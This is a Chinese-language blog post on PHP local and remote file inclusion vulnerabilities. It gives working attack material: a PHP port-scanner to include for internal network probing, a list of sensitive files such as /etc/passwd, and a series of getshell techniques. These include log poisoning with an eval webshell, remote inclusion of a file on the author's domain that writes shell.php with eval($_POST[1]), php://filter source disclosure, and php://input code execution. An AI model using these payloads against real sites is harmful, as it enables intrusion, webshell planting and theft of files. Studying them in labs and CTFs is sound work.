首页 > 技术文章 > 文件包含漏洞(RFI)

hackxf 2018-04-24 19:37 原文

1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口 

 

<?php
//echo "<script>alert('SCAN');</script>";
if(isset($_REQUEST['ip'])){
        $ports = array(80,8080,21,443,3306,22,1,2,1433);
        $result = array();
        foreach($ports as $port){
                if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
                        $result[$port] = true;
                        fclose($pf);
                }else{
                        $result[$port] = false;
                }
        }
        foreach($result as $port=>$val){
                $serv = @getservbyport($port, 'TCP');
                echo "scan port " . $port . " (" . $serv . "):";
                if($val){
                        //echo 'open'.'<br>';
                        echo "<span style=\"color:green\">open</span><br>";
                }else{
                        //echo 'close'.'<br>';
                        echo "<span style=\"color:red\">close</span><br>";
                }
        }
}
?>
扫描端口

 

 

 

 

1.本地文件包含漏洞

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件

 

1. 根目录下存在flag文件
 C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

                 上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/<?php eval($_POST[1]);?>
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

<?php
//fputs()
//fopen(filename, mode)

fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');

?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

1 php://filter/read=convert.base64-encode/resource=index.php
2 
3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

 

推荐阅读